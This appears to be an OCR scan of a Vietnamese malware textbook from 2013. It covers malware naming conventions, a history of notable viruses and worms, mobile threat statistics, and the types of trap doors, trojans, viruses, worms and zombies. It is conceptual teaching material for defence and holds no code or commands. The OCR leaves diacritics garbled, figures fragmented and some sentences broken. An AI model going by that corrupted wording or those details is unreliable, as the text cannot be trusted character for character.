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LOI NOI PAU

Ngay nay cong nghé thong tin, mang Internet ngay cang phat trién. Khi
nhu ciu cua viée st dung Internet ctia con ngudi ngdy cang ting thi cling
1a luc nhitng nguy co mat an toan thong tin xuat hién cang nhiéu, ndi bat
la cac nguy co tir ma doc. Ma doc xudt hién bat ky & dau trén moi truong
ctia cac thiét bi dién tir nhu cac dia mém, thiét bi ngoai vi USB, may tinh
dén méi truong Internet trong cac website, trong cac tin nhén, trong hom
thu dién tir cia ngudi dung, trong cac phan mém mién phi....Ma doc da
lay lan vao mot may tinh hodc hé thong mang s& gy nhiing thiét hai
kho luong. Hién nay cang ngdy cang nhiéu loai mi ddc xuat hién & cac
thé hién khac nhau, chay trén nhiéu méi truong khac nhau nhu Windows,
Linux, MacOS, Android, IOS... Gido trinh Ma ddc s€ gitap sinh vién co
nhirng kién thic co ban vé ma ddc, nhitng hoat dong, nhiing cach thuc
dé nhan dang, phén tich xtr Iy ma doc, giam thiéu thiét hai cho cac hé
thdng mdy tinh. Gio trinh gdm nhiing chuong nhu sau:
Chwong 1. Tong quan vé ma doc

No6i dung trinh bay cac dang ma ddc, nguy co, cac phuong phdp phat
hién va phong chéng ma doc.
Chuong 2. Co ché hoat dong ctia ma doc

Noi dung trinh bay cac dinh dang phé bién cua ma doc, co ché hoat
dong cua ma doc.
Chuwong 3. Co ban vé phéan tich ma doc

Noi dung trinh bay céc kién thic co ban vé phan tich ma doc, quy trinh
phéan tich.
Chuong 4. Cac ky thuat phan tich tinh

Noi dung trinh bay k¥ thuat phan tich tinh ing dung vao viéc phan tich
ma ddc.
Chuong 5. Cac ky thudt phan tich dong
No6i dung trinh bay k¥ thuat phan tich dong iing dung vao viéc phan tich

ma doc.
Ha néi, ngay 4 thang 10 nam 2013
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Chuong 1

TONG QUAN VE MA POC

1.1 Lich sir phéat trién cia ma déc hai
1.1.1. Khéi niém ma dgc

Malware (Malicious software) hay con goi 1a ma doc (Malicious code)
la tén goi chung cho cac phén mém duoc thiét ké, 1ap trinh dac biét dé
gay hai cho may tinh hodc lam gian doan méi truong hoat dong mang.
M3 doc tham nhap vao mot hé thong mdy tinh ma khong c6 su dong y
cua nan nhan.

Ma ddc hai con dugc dinh nghia 14 “moét chuong trinh (program) duoc
chén mot cach bi mat vao hé théng v6i muc dich 1am ton hai dén tinh bi
mat, tinh toan ven hodc tinh san sang cua hé théng”

Nhiéu nguoi str dung may tinh van thuong dung thuit ngit Virus dé chi
chung cho cac loai ma doc hai nhung thuc chat ma doc hai bao gém
nhiéu loai khac nhau.

1.1.2 Quy woc dat tén

Hién nay cé rat nhiéu loai ma doc khac nhau duoc cac hang phﬁn mém
diét Virus thu thap tai cac thoi diém khac nhau, diéu nay din dén viéc
thong nhat dit tén ma doc theo mot quy wdc tén nhat dinh rat kho thyc
hién dugc. Vao nam 1991, cac thanh vién sang lap CARO (Computer
Antivirus Reseachers Organization) da thiét ké mot chuong trinh dat tén
cho m& doc ing dung cho cac san pham AntiVirus, tuy nhién cac chuong
trinh cua to chitc CARO nay da lac hau so voi xu thé phat trién va toc do
phat trén ciia ma doc hién gio. Cac nha nghién ctru, cac hing san pham
khong c6 thoi gian dé thoa thuan véi nhau tén chung cho mot mau ma
doc méi. Mac du nhu vay nhung vé co ban cac hang déu dat tén cac mau
ma doc theo quy udc nhu sau:

Type.Flatform.FamilyName.Variant
Trong do:
Type chi ra kiéu méd doc: trojan, dropper, virus, adware, backdoor,
rootkit, worm...
Flatform chi ra méi truong hoa dong ciia ma doc :
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WIn32 : H¢ diéu hanh windows 32 bits

Win64 : H¢ diéu hanh windows 64 bits

Linux : Hé diéu hanh Linux

OSX : H¢ diéu hanh Mac OSX

SymbOS : Symbian OS

Android : H¢ diéu hanh android
FamilyName: Tén dong mé doc, v6i cac dic diém, phuong thirc hoat
dong gidng nhau.
Variant: dai dién cho cac bién thé trong mot dong ma doc.
Vidu: Virus.Win32.XdocCrypt.1
Type: Virus, Flatform: Win32, Family: XdocCrypt, Variant:1.
1.1.3 Lich sir phat trién

Hién nay Internet ngdy cang phat trién song song d6 1a sy phat trién 16n
manh ciia mi ddc. Mdi ngay c6 hang trim mau mi doc xuét hién, duéi
nhiéu hinh thitrc khac nhau, muc tiéu khac nhau. Phan dudi day liét ké
mot s6 moc quan trong su phat trién cuia ma doc.

Niam 1949 John von Neuman (1903-1957) phat trién nén tang 1y thuyét
tu nhan ban cua mot chuong trinh cho may tinh.

Niam 1981 cac virus dau tién xuat hién trong hé diéu hanh ctia may tinh
Apple II.

Nam 1983 Fred Cohen, mét sinh vién dai hoc My, da dua ra dinh nghia
dau tién vé virus: “La mot chwong trinh mdy tinh c6 thé tac dong nhimg
chuong trinh may tinh khac bang cach sira d6i chung bang phuong phap
dua vao mot ban sao ciia nd”. Fred Cohen ludn 13 cai tén duoc nhic dén
khi néi vé lich st virus.

Néam 1986 hai anh em l4p trinh vién ngudi Pakistan 1a Basit va Amjad
thay thé ma thyc hién (executable code) trong rinh ghi khdi dong cua
mot dia mém béng ma riéng cua ho, dugc thiét ké véi muc dich phat tan
tir mot dia mém 360K khi cho vao bat ctr 6 dia nao. Loai dia mém mang
virus nay c6 mac “© Brain”. Pdy chinh 1a nhiing virus MS-DOS xuat
hién sém nht.

Nam 1987 Lehigh, mot trong nhimg virus file dau tién xdm nhap céc

tép 1énh command.com (virus ndy sau d6 tién hoa thanh virus Jerusalem).
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Mot virus khac c6 tén IBM Christmas, voi tbe do phat tan cuc nhanh
(500.000 ban sao/tiéng), 1a con ac mong ddi véi cac may tinh 1én
(mainframe) cia Big Blue trong subt nim d6. déng hd ctia may tinh
(giéng bom nd cham cai hang loat cho cting mot thoi diém).

Thang 11 cing nim, Robert Morris ché ra worm chiém ctr cdc may tinh
cua ARPANET lam liét khoang 6.000 may.

Nam 1991 virus da hinh (polymorphic virus) ra d&i dau tién 1a Tequilla.
Loai nay biét ty thay do6i hinh thic cua no, gy ra sy kho khin cho céc
chuong trinh chéng virus.

Nam 1994 Tro lra qua e-mail dau tién xuat hién trong cong ddng tin
hoc. Trd nay canh bao ngudi sir dung vé mét loai virus cd thé xo4 toan
bd 0 ctng ngay khi mo e-mail ¢6 dong chu dé “Good Times”. Mic du
khong gay thiét hai gi ma chi c6 tinh chat doa dam, tro lra ndy van tiép
tuc xuat hién trong chu ky tir 6 dén 12 thang/lan.

Nam 1995 macro virus dau tién xuat hién trong cidc ma macro trong cac
tép cia Word va lan truyén qua rat nhiéu may. Loai virus ndy c6 thé 1am
hu hé diéu hanh chu.

Niam 1999 Bubble Boy sdu mdy tinh dau tién khong dua vao viéc ngudi
nhan email c6 m¢ file dinh kem hay khong. Chi can thu duoc mé ra, nd
van sé tu hoat dong.

Nam 2003 Slammer mot loai worm lan truyén véi van toc ki luc, truyén
cho khoang 75 ngan may trong 10 phut.

Nim 2004 danh ddu mot thé hé mdi ctia ma doc hai 1a worm Sasser. Vi
loai worm nay thi nguoi ta khéng can phai mé dinh kém cua dién thu ma
chi can mo 14 thu 1a di cho né xadm nhap vao may. Sasser khong hoan
toan huy hoai may ma chi lam cho may chu tr¢ nén chdm hon va déi khi
n6 lam may tuy khoi dong trd lai. O Viét Nam ma doc hai cling gay ra
nhing thiét hai dang ké.

Niam 2005 Su xuét hién cua cac Virus lay qua céac dich vu chatting. Céc
dich vu chatting truc tuyén nhu Yahoo!, MSN bit dau duogc Virus loi
dung nhu mot céng cy phat tan trén mang. Theo théng ké cia BKAV thi
trong vong 6 thang dau nam c6 téi 7 dong Virus lay lan qua cac dich vu

chatting xuét hién & Viét Nam. Trong thoi gian téi nhitng Virus tan cong
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thong qua cac dich vu chatting s& con xuit hién nhiéu hon nira khi ma s
nguoi st dung dich vu ngay cang tang.

Ciing trong ndm nay da ghi nhan loai ma doc phat tan qua mail cuc ky
nguy hiém. MyTob la loai Virus tao ra mot mang ludi “Botnet”, cdc may
tinh bi kiém soat c6 thé bj loi dung dé phat tan thu réac, cai dat cac phﬁn
mém SpyWare va gy ra cic cudc tin cong gia mao. Mic du vao thoi
diém nay Botnet va cac cudc tan cong vao email khong hé méi nhung
MyTob 1a loai Virus dau tién di két hop mang ludi Botnet voi mot
chuong trinh giri email hang loat. Gitip ké tin cong danh cap thong tin,
tién... cia nguoi cua nan nhan chtr khong phai chi 1a nghich ngom, quiy
roi nhu trudc day.

Thang 6/2010 danh déu mot budc ngoat vé mi doc hai. D6 1a sy xuat
hién cta “Sau mdy tinh chién tranh mang Stuxnet”. Stuxnet lay lan qua
cac thiét bi USB va cac phuong phap khac, Stuxnet duoc tao ra dé pha
hoai mdt muc tiéu cu thé: Nha may loc dau, nha may di¢n, hay nha may
hat nhan(dién hinh 14 cudc tin cong vao nha may hat nhan lam giau
Uranium cua Iran gy ra thi¢t hai vd cung 1én cua nudc nay khi tao ra sy
ngung tré mat hai nim ctia nha may).

Thang 3/2011 1a su “lén ngo61” cua cac loai ma ddc trong moi truong
mobile. K¢ tan cong phét tan ma doc 1én nhitng chiéc dién thoai thong
minh nham thu thap thong tin nguoi dung. Pién hinh 12 hon 3000 dién
thoai Vodafone bi phoi nhiém ma doc.

1.1.4 Xu hwéng phat trién

Hién nay ngay cang nhiéu phan mém doc hai nham dén c4c nén tang
di dong, dac biét nham vao cac dién thoai thong minh. Theo bdo cdo cua
hang AntiVirus Kaspersky quy 2/2013 thi da c6 hon 100 000 phan mém
doc hai trén di dong dugc phat hién.
Cac dir liéu duoc thu thap bang cach st dung Kaspersky Security
Network duwa trén cong nghé dam may (KSN). Tat ca cac so liéu dugc
thyc hién véi sy dong ¥y cia nguodi st dung tham gia KSN.
Nhitng phadn mém nay chu yéu dén tir cac qudc gia co sé nguoi sir dung
Internet cao, dic biét 1a Trung Qudc. Sé liéu cua Kaspersky cho thiy
téng s6 website phat tan malware c6 tdi 26% site nam tai Trung Qudc.
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Tiép theo d6 1a My (18%) va Nga (12%). Cac chuong trinh ma doc hai
ngady cang phirc tap va nguy hiém, nhung ciing c¢6 chuong trinh lai rat
don gian xét tir goc do k¥ thuat, va lai rdt phd bién. Tuy nhién, céc
chuong trinh phirc tap va nguy hiém lai ting 1én nhiéu so voi 2 nim
trude ddy, trong d6 nguy hiém nhét 13 nhimg chuong trinh c¢6 kha ning
tur nhan ban, gitt nguyén cac tinh ning pha hoai va dong thoi st dung
nhitng cach thurc che dAu sy hién dién ctia minh trong hé théng. Ban than
cong ngh¢ duogc sur dung dé 1an tranh ctia ma ddc hai 13 rdt méi va tinh vi.
Céch day 3-4 nam, cong nghé tu che diu nhu vdy van con trong giai
doan nghién ctru, nhung hién nay chiing di trd thanh phd bién toan cau.
Cong nghé ty nhan ban thi tuy d c6 cach diy 20 nim va vé nguyén ly
thi cong nghé nay khong c6 gi thay doi cho dén nay. Tuy nhién, kha
nang ty nhan ban hién nay thuong két hop voi nhiing cong nghé khac dé
tao ra kha ning lay lan va pha hoai hiéu qua hon rat nhiéu.
Android Versus PC Threat Type Timeline Comparison
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Hinh 1-1 Cac nguy co mat an toan

%s, Ransomware

A% Worm

2000 2002

Ngay trong nam 2013 di co t6i 15 triéu ma doc hai, sé luong nguoi
dung Internet & Trung Qudc tang rat nhanh, cao hon ca My, chiém ty 1&
16n nhét vé luong ngudi s dung Internet trén toan cau. Pong thoi, co
muc tang cao cac hinh thirc t61 pham khong gian 4o (cyber crime), st
dung cac chuong trinh dgc hai nhu mot cong cu hi¢u qua dé danh cép tai
san. Trung Qudc 13 noi ¢ nhiéu nguoi dung Internet nhat va ciing 1 noi

xuat phéat nhiéu toi pham nhat 1a nhu vay.
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Hién nay su phat trién cla cac mang xa hoi s€ tao ra moi trudong tdt cho
cac chuong trinh doc hai. Piéu nay d& hiéu vi ngudi dung thudng tin
tudng cac thanh vién trong mang xa hoi, va do dé cling khong e ngai
hoic it ¢& phong hon so v6i nhitng cach thirc giao tiép khac. Mat khac,
mang x4 hoi quy tu rat nhiéu thanh phan, va trinh d6 nhan thirc, hicu biét
vé an toan, bao mat cua ngudi dung trong mang ciing rat thap. T do, co
thé thiy rang cac chuong trinh doc hai im duoc méi truong rat phu hop
trong mang xa hdi a0. Bén canh do, hién gid cac di¢n thoai thong minh
( smartphone) rat pho bién. Nhitng dién thoai ndy déu str dung cac hé
diéu hanh va thuong déu co cac kho tng dung trén mang. Nhimg kho
tmg dung nay cho phép céac lap trinh vién giri phan mém dé kiém thu
nhap, hodc mién phi. Tuy nhién c6 rat nhiéu phan mém da bi cai ma doc
ma bén phia quan tri cac kho tng dung khong kiém soat dugc hét van dé
nay. Theo théng ké B6 An ninh noi dja va B6 Tu phap My da cong bd
bao cdo vé cac moi de doa trén cac hé diéu hanh di dong ma nguoi tiéu
diung My phai doi mat trong nam 2012. Két qua 1a 79% cac loai ma doc
di dong tap trung tin céng Android, hé diéu hanh di dong phd bién nhat
thé gidi. Piéu dang ngac nhién 13 hé diéu hanh bi tin céng nhiéu thir hai
sau Android khong phai 1a 10S cua Apple ma la Symbian cua Nokia,
mot hé diéu hanh dang chét dan. Khoang 19% ma doc nhdm vao hé diéu
hanh nay. Nokia hién da chuyén han sang hé diéu hanh Window Phone
do Microsoft phat trién, do d6 sb luong dién thoai chay Symbian hién
khong con nhiéu. iOS chi himg chiu sy tAn cong cua 0,7% ma doc, trong
khi hé diéu hanh Window Phone va BlackBerry cung linh 0,3% ma doc.
Cac chuyén gia cho biét cac con sb trén khong phan anh s an toan cua
cac hé diéu hanh. S6 luong ma doc tan cong mot hé diéu hanh khong

tuong duong vdi sO6 nguot st dung tai va chay cac ma doc do.
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Hinh 1-2 Dién thoai sir dung hé diéu hanh Android, I0OS, Symbian

Tuy nhién, con s6 79% cua Android van cao gip bdn 1an so véi hé diéu
hanh dtmg sau. Do s6 ngudi st dung Android qua 16n, day c6 thé 1a mot
modi de doa an ninh nghiém trong. B4o cdo ctia Chinh phit My cho biét
mbi de doa mi ddc d6i voi Android dén tir ba huodng: tin nhin chira ma
doc Trojan, ma doc rootkit va cac ing dung doc hai trén cac cura hang
Google Play gia.
Tin nhan Trojan chiém 50% cac vu tan cong nhim vao Android va co
the¢ khién ngudi st dung thiét hai nhidu tién.
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Hinh 1-3 Biéu d6 sy phat trién ma doc
1.2 Phan loai ma doc
C6 nhiéu tiéu chi dé phan loai ma doc hai, dudi day la hai cach
phan loai dua vao hinh thic 1ay nhiém va cia NIST-National Institute of
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Standart and Technology (Vién tiéu chuan — cong nghé quéc gia Hoa ky).
Su chi phan loai mang tinh chat trong doi.
1.2.1.Theo hinh thirc lay nhiém

Malicious

Code

Needs Host Independent
Program

FEEReE

- . ,/
N

Replicate
Hinh 1-4 Phan loai ma doc hai

Theo hinh trén ma doc hai gém 2 loai chinh: mot loai can vt chu

dé ton tai va lay nhiém, vat chu ¢ day co thé 1a cac file dir liéu, cac file
ung dung, hay cac file chuong trinh thyc thi... va mdt loai la tdn tai doc
lap.

Poc lap nghia 14 d6 13 chuong trinh doc hai ma co thé duoc 1ap
lich va chay trén hé diéu hanh.

Khong doc 1ap (needs host program) la 1 doan chuong trinh dac
bi¢t thudc 1 chuong trinh nao d6 khong thé thuc thi doc 1ap nhu mot
chuong trinh théng thudng hay tién ich ndo d6 ma bat budc phai cd
budc kich hoat chuong trinh chu trude do thi chuong trinh d6 mai chay.

1.2.1.1. Trap Door

Trap Door con dugc goi 1a Back Door.

Trong doi séng thudng Trap Door mang y nghia “canh ctra” dé
vao mot toa nha.

Trap door 1a mot diém bi mat trong mot chuong trinh, cho phép
mot ai d6 c6 thé truy cap lai hé thong ma khong phai vuot qua cac hang
rao an ninh nhu thong thuong. Trap door dugc su dung bdi nhitng nha

1ap trinh véi muc dich do 16, kiém tra chuong trinh.

20



Trong cac cudc tAn cong trap door 13 phan mém doc hai thuong tra
va doi 1énh diéu khién tir cac céng dich vu TCP hoac UDP. Trap door
khi chay trén mdy bi nhiém, né s& thuong trugc trong bd nhé va md mot
cong cho phép ké tdn cong truy nhap vao mdy nan nhan thong qua cong
ma n6 dd mé va ké tdn cong cd toan quyén diéu khién may bi nhidm.

Trap door nguy hiém & chd né hoan toan chay 4n trong mady.
Nhiéu con duoc hen trude gior dé két ndi ra ngoai (dén 1 gid nhit dinh
moi mé 1 port dé hacker dot nhap vo) nén rat kho phat hién ngay ca scan
port.

Vi du: Back door W32/TDSS 1a 1 chuong trinh chiém quyén diéu
khién tir xa, bi mat diéu khién hé théng may tinh bi nhiém.
1.2.1.2 Logic Bombs

Logic bomb la doan ma doc duoc nhing vao mot chuong trinh
hop phap ma chiing c6 thé thyc thi khi c6 mot sy kién nao d6 xay ra. Cac
doan ma thuong duoc chén vao cac irng dung hoac cac hé diéu hanh dé
thuc hién viéc pha huy hé théng hodc phé huy cac chiic nang an toan ctua
hé théng.

Logic bomb c6 thé gui théng bao tdi ké tan cong khi ngudi dung
truy nhép Internet va sit dung mot chuong trinh dac biét nao d6 nhu bd
xtr 1y van ban. T d6 attacker c¢6 thé chuan bi cho cic cudc tin cong
(chang han két hop vdi cac mdy tinh khac bi nhiém dé bat dau mot cudc

tan cong tir chdi dich vu).

1
WVietim 2 l ‘ Attacker
| I
PE—=N 3 p—

4
Hinh 1-5 Mo hinh hoat dong Logic bomb

Attacker dua logic bom vao may nan nhan thong qua mot chuong

'

Y

4

trinh g dung nao do.
Mady nan cai dat chuong trinh trng dung.
Attacker giri théng diép tin cong.
Logic bom da cai dat trén may nan nhan.
21



1.2.1.3 Trojan Horses

Trojan Horse 1a loai ma doc hai dugc dat theo su tich “Ngua thanh
Troy”. Trojan horse khong c6 kha nang ty nhan ban tuy nhién né lay vao
hé thong véi biéu hién rat binh thuong nhung thuc chat bén trong c6 an
chtra cac doan ma voi muc dich gy hai. Trojan c6 thé gay hai theo ba
cach sau:

Tiép tuc thyc thi cac chtrc ning cua chuong trinh ma n6 bam vao,
bén canh do thuc thi cac hoat dong gay hai mot cach riéng biét (vi du
nhu girt mot tro chot du cho nguoi dung st dung, bén canh do 1a mdt
chuong trinh danh cap password).

Tiép tuc thyc thi cac chtc ning cua chuong trinh ma n6 bam vao,
nhung sira d6i mot s6 chuic nang dé gay ton hai (vi du nhu mot trojan gia
1ap mot ctra s6 login dé 14y password) hodc che ddu cac hanh dong pha
hoai khéc (vi du nhu trojan che dau cho cac tién trinh doc hai khac béng
cach tat cac hién thi ctia hé thong).

Thuc thi ludn mdt chuong trinh giy hai bang cach nap duéi danh
mot chuong trinh khong ¢6 hai (vi du nhu mot trojan dugc gioi thiéu nhu
1a mot cho choi hodc mét tool trén mang, ngudi dung chi can kich hoat
file nay 1a 1ap tirc dir liéu trén PC sé& bi xoa hét).

C6 7 loai trojan chinh:

Trojan truy cap tir xa: Pugc thiét ké dé cho ké tan coéng c6 kha
ning tir xa chiém quyén diéu khién ctia may bi hai. Cac trojan nay
thuong dau vao cac tro choi va cac chuong trinh nhé 1am cho ngudi
dung mat canh gic.

Trojan gtri dit liéu: N6 thyc hién viéc léy va gui dir li¢u nhay cam
nhu mat khau, thong tin thé tin dung, cac t¢p nhat ky, dia chi email...
cho ké tan cong. Trojan nay c6 thé tim kiém cu thé thong tin hodc cai
phan mém doc trom ban phim va giri toan bd cac phim bam vé cho ké
tan cong.

Trojan huy hoai: Thuc hién viéc x6a cac tép tin. Loai trojan nay
gidng véi virus va thudng co thé bi phat hién bdi cac chuong trinh diét
VIIus.
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Trojan kiéu proxy: Str dung may tinh bi hai lam proxy, qua d6 co
thé st dung may bi hai dé thuc hién céac hanh vi Lra gat hay danh pha céc
may tinh khac.

Trojan FTP: Puoc thiét ké d¢é md cong 21 va cho phép tin tic két
nbi vao may bi hai sir dung FTP.

Trojan tat phﬁn mém an ninh: Thyuc hién viéc dung hoac x6a bd
chuong trinh an ninh nhu phin mém chdng virus hay tuong lira ma
nguoi dung khong nhan ra.

Trojan DoS: Pugc st dung trong cac cudc tAn cong tu chdi dich
vu. Vi du cac con bot sir dung trong DDoS ciing c6 thé coi 1a mot loai
trojan.

Vi du trojan c6 tén Zeus, Clampi da mang vé cho t6i pham hang
triéu USD bang cach ghi lai thong tin tai khoan dé lam thé gia hoic
chuyén tién vao tai khoan cia mot bén trung gian - goi 1a Mule. Mule
sau do dugc tra cong dé dam nhan viéc guri tién ra nudc ngoai. Mule
duoc thué thong qua céc trang tim kiém viéc lam va ho khong hé biét
rang so6 tién ho nhan gt di 14 bat hop phap.
1.2.1.4 Virus

Virus 1a mot loai ma doc hai c6 kha nang tu nhan ban va lay
nhiém chinh n6 vao cac file, chuong trinh hoiic may tinh. Virus phai
ludn bam vao vat chi( co thé 1a file dir lidu hodc file img dung ) dé lay
lan. Cac chuong trinh di€t virus dua vao ddc tinh nay dé thuc thi viéc
phong chéng va diét virus, dé quét cac file trén cac thiét bj luu tri, quét
cac file trude khi luu xudng 6 cung. Vi vay d6i khi cac phan mém diét
virus tai PC dua thong bao “phat hién nhung khong diét dugc” khi thay
¢ cac dau hiéu hoat dong cua virus trén PC vi “vat mang virus” lai nam
trén mot may khac nén khong thé thuc thi viéc x6a doan ma doc do.

Virus c6 thé 1am bét ¢ viée gi ma cac chuong trinh khac co thé
lam. Virus chi khac ¢ diém né tu dinh kém no téi mot chwong trinh va
thuc thi bi mat khi chuong trinh mang virut dugc thuc thi. Khi virus
dugc thuc thi nd cé thé lam bat ky viéc gi trén hé théng nhu xoa file,

chuong trinh. Vong doi virus gdm 4 giai doan:
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Dormant (ndm im): Trong giai doan nay virut khong lam gi cho
dén khi duge kich hoat boi mot ai d6 hay mot su kién nao do.

Propagation (lay lan): Trong giai doan nay virus thuc hién viéc
copy chinh no téi cac chuong trinh, vi tri khac trong 6 dia.

Triggering: Trong giai doan nay virus duoc kich hoat dé thuc thi
chirc nang cua no.

Execution: Churc nang cua virus duge thuc thi. Chirc nang co thé
1a v hai nhu gui mot thong di¢p nao d6 té1 man hinh, hodc mot chirc
nang c6 hai nhu pha hay cac chuong trinh, cac file hé thong.

Virut gdm 7 loai chinh

S,

Program File I Stealth
"

Viruses

Memory Resident
Email

Macro
Polymeorphic Boot Sector

Hinh 1-6 Phan loai virus
Memory — resident virus: Cu tra rong bd nhé chinh nhu la mot
phan cua chuong trinh hé thong. Theo d6 virus sé giy anh hudng mdi
khi chuong trinh duogc thuc thi.
Program file virus: Gay anh huong dén céc file chuong trinh nhu
exe/com/sys.

I Original program I

| Virus code | Original part I
| Virus code | Original program
| Original program | Virus code |
i JUMP t ‘
|

JUMP
Hinh 1-7 Mo ta virus lay file
Polymorphic virus( virut da hinh): Loai virut nay ty thay doi hinh
thirc cua no6, gay kho khan cho cac chuong trinh anti-virus. Virus

“Tequilla” 12 loai virus da hinh d4u tién xuat hién nam 1991.
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Boot Sector virus: La loai virut dau tién trén thé giéi dugc phd
bién rong rai va duogc viét vao nam 1986. Boot virut loi dung tién trinh
boot cua may tinh dé thuc hién viéc kich hoat minh. Khi may tinh duoc
khoi dong, nd ludén tim dén master boot record dugc luu trit tai dia chi
head 0, track 0, sector 1 dé doc thong tin. Boot Sector virus lay lan sang
dia cing khi khai dong hé thdng tir dia mém bi nhidm.

Stealth virus: Day 1a loai virus c6 kha ning ty che dau khong dé
cho hé diéu hanh va phan mém chéng virus biét. N6 nam trong bo nhé
dé ngan chin sir dung hé diéu hanh va che déu nhimng thay d6i vé kich
thudce cac tap tin. Nhitng virus nay chi bi phat hién khi ching con & trong
bd nhé. Co6 nhiéu boot sector virus c6 kha nang Stealth. Vi du virus "The
Brain” dugc tao ra tai Pakistan bdi Basit va Amjad. Chuong trinh nay
nam trong phan khéi dong (boot sector) cia mot dia mém 360Kb va no
s& 1ay nhidm tat ca cac 6 dia mém. Day 1a loai "stealth virus" dau tién.

Macro virus: La tap 1énh dugc thuc thi béi mot ing dung nao do.
Macro virus pho bién trong cac tmg dung Microsoft Office khi tan dung
kha nang kiém soat viéc tao va mo file dé thuc thi va lay nhiém. Vi du:
virus Baza, Laroux va mdt sd virus Staog xuat hién nam 1996 tan cong
cac file trong hé diéu hanh Windows 95, chuong trinh bang tinh Excel va
ca Linux.

Virus Melisa ciing 1a mot trong nhitng Macro virus ndi tiéng.

Email virus: La nhiing virus duoc phat tan qua thu dién tir. Vi du
virus Melissa dugc dinh kém trong thu dién tir. Néu nguoi dung mo file
dinh kem Macro dugc kich hoat sau d6 email virus nay tu dong giri
chinh no toi tat ca nhitng hom thu c6 trong danh sach thu ctia ngudi do.
1.2.1.5 Worms

Worm 1a chuong trinh doc hai ¢6 kha ndng tu nhan ban va ty lay
nhiém trong hé théng ma khong can file chu dé mang n6 khi nhiém vao
hé théng. Nhu vay Worm khong bam vao mét file hoac mdt ving nao do
trén dia cung, vi vay khong thé ding cac chuong trinh quét file dé diét
Worm.

Muyc tiéu cia Worm 1a lam lang phi bang thong cia mang, pha
hoai hé théng nhu x0a file, tao back door, tha keylogger...
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T4n cong ciia Worm c6 dic trung 13 lan rong cuc ky nhanh chéng
do khong can tac dung ctia con ngudi( nhu khoi dong may, copy file hay
dong/mo file).

Worm c6 thé chia 1am 2 loai:

Network Service Worm lan truyén bang cach lgi dung céc 15 hong
bdo mat ciia mang, cia h¢ diéu hanh hodc cua ung dung.

Vi du Sasser (W32.Sasser.Worm) bat dau lay lan trén mang vao
1/5/2004 c6 thé ty dong l1ay lan bat cr mdy tinh nao két néi internet. N
loi dung 18 hong bao mat Local Security Authority Subsystem Service
(LSASS - 13i nay da duoc Microsoft cong bd va phat hanh ban sta 16i
ngay 13-4-2004) dé tin cong cac may cai Windows 2000/ XP/ Server
2003.

Mass Mailing Worm 12 mét dang tan cong qua dich vu mail, tuy
nhién né tu dong gbi dé tin cong va lay nhiém chir khong bam vao vat
cha 13 email. Khi sau nay lay nhiém vao hé thong, né thuong cb ging
tim kiém so dia chi va tu guri ban than no dén céc dija chi thu nhit duoc.
Viéc giri dong thoi cho toan bo cac dia chi thuong gay qua tai cho mang
hodc cho may chu mail.

Vi du Mydoom 1a mét trong nhitng loai Worm khién nhiéu hé
thdng mdy tinh bi té liét va gy thiét hai tai chinh 1én dén hang ty dola.
1.2.1.6 Zombie

Zombie 1a chuong trinh doc hai bi mat lién két voi mot may tinh
khac ngoai internet dé nghe 1énh tir cac may tinh d6. Cac Zombie thudng
st dung trong cac cudc tan cong tir chdi dich vu DDoS dé tan cong vao
mot website nao do.

Kiéu théng dung nhat cia Zoombie 13 cac agent dung dé to chirc
mot cudc tin cong DDoS. Ké tin coéng c6 thé cai Zoombie vao mot sd
luong 16n cac may tinh rdi ra 1énh tin cong cling mot lc.

Vi du Trinoo va Tribe Flood Network 13 hai Zoombie ndi tiéng

duoc st dung nhu cac cong cu dé thuc hién tan cong DDoS.
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1.2.2 Phan loai cia NIST
1.2.2.1 Virus

Vi céch dinh nghia, phan loai nay, virus 1a mgt loai ma doc hai
(Maliciuos code) c6 kha ning ty nhan ban va 1ay nhiém chinh né vao céc
file, chuong trinh hodc may tinh. Nhu vy virus may tinh phai luén luon
bam vao mot vat chu (d6 1a file dir liéu hodc file tng dung) dé lay lan.
Céc chuong trinh diét virus dya vao déc tinh nay dé thuc thi viéc phong
chbng va diét virus, dé quét cac file trén thiét bi luu, quét cac file trude
khi Iru xuéng 6 cting... Piéu nay ciing giai thich vi sao d6i khi cac phan
mém diét virus tai PC dua ra thong bao “phat hién ra virus nhung khong
diét duoc” khi théy ¢6 dau hiéu hoat dong cua virus trén PC, boi vi “vat
mang virus” lai nam & may khac nén khong thé thuc thi viéc xoa doan
ma ddc hai do.

Compiled Virus la virus ma ma thuc thi cia né da dugc dich hoan
chinh bdi mdt trinh bién dich dé né co6 thé thuc thi truc tiép tir hé didu
hanh. Cac loai boot virus nhu (Michelangelo va Stoned), file virus (nhu
Jerusalem) rat phd bién trong nhitng nam 80 13 virus thuéc nhoém nay,
compiled virus ciing c6 thé 1a pha tron bdi ca boot virus va file virus
trong cung mot phién ban.

Interpreted Virus 1a mot t6 hop cia ma ngudén ma chi thyc thi
dugce dudi su hd trg cia mot ung dung cu thé hodc mot dich vu cu thé
trong hé théng. Mot cach don gian, virus kiéu nay chi la mot tap 1énh,
cho dén khi tng dung goi thi n6 mdi dwoc thuc thi. Macro virus,
scripting virus 1 cac virus nam trong dang ndy. Macro virus rat pho bién
trong cac tng dung Microsoft Office khi tin dung kha ning kiém soat
viéc tao va mo file dé thuc thi va lay nhiém. Sy khac nhau gilra macro
virus va scripting virus la: Macro virus 1a tap 1énh thyuc thi béi mot ing
dung cu thé, con scripting virus la tap 1€nh chay b.'?lng mot service cua hé
diéu hanh. Melisa 13 mot vi du xuat sic vé Macro virus, Love Stages la
vi du cho scripting virus.
1.2.2.2 Worm

Worm cling 1a mdt chuong trinh c6 kha nang tuy nhan ban va tu lay
nhiém trong hé thong tuy nhién né c6 kha nang “ty dong g6i”, dicu do6 co
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nghia 14 Worm khong can phai c¢6 “file chu” dé mang n6 khi nhiém vao
hé thdng. Nhu vay, c6 thé thiy ring chi dung cac chuwong trinh quét file
s& khong diét duoc Worm trong hé thdng vi Worm khong “bam” vao
mot file hodc mot vung nao do6 trén dia cirng. Muc tiéu cua Worm bao
gdém ca 1am lang phi ngudn luc bing thong ctia mang va pha hoai hé
théng nhu xo4 file, tao backdoor, tha keylogger,... Tan cong ciia Worm
c6 dic trung 1a lan rong cuc ky nhanh chéng do khéng can tac dong cia
con ngudi (nhu khoi dong may, copy file hay dong/mao file). Worm co
thé chia 1am 2 loai:

Network Service Worm lan truyén bang cach loi dung céc 16 hong bao
mat clia mang, cua hé diéu hanh hoic cua ung dung. Sasser 1a vi du cho
loai sau nay.

Mass Mailing Worm 1a mot dang tan céng qua dich vy mail, tuy nhién
n6 ty dong goi dé tin cong va 1ay nhidm chir khong bam vao vat chu la
